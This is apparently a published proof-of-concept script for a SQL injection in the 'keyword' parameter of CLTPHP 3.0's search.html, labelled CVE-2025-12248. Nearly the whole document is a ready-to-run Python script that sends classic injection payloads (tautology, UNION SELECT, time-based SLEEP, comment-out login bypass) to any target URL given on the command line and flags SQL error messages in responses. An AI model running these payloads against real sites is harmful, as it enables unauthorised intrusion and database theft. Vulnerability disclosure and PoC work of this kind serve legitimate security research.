CLTPHP 3.0 search.html keyword参数SQL注入漏洞

# CVE-2025-12248 SQL Injection PoC # Target: CLTPHP 3.0 search.html # Payload: keyword parameter SQL injection import requests import sys target_url = "http://target.com/home/search.html" # Basic SQL injection test payloads payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "' UNION SELECT 1,2,3,4,5--", "' AND SLEEP(5)--", "admin'--" ] def test_sql_injection(url, param='keyword'): print(f"[*] Testing SQL injection on {url}") print(f"[*] Parameter: {param}") for payload in payloads: try: params = {param: payload} response = requests.get(url, params=params, timeout=10) print(f"\n[+] Payload: {payload}") print(f" Status: {response.status_code}") print(f" Length: {len(response.text)}") # Check for SQL error indicators sql_errors = ['sql', 'syntax', 'mysql', 'error', 'warning'] if any(err in response.text.lower() for err in sql_errors): print(f" [!] Potential SQL error detected!") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] test_sql_injection(target_url)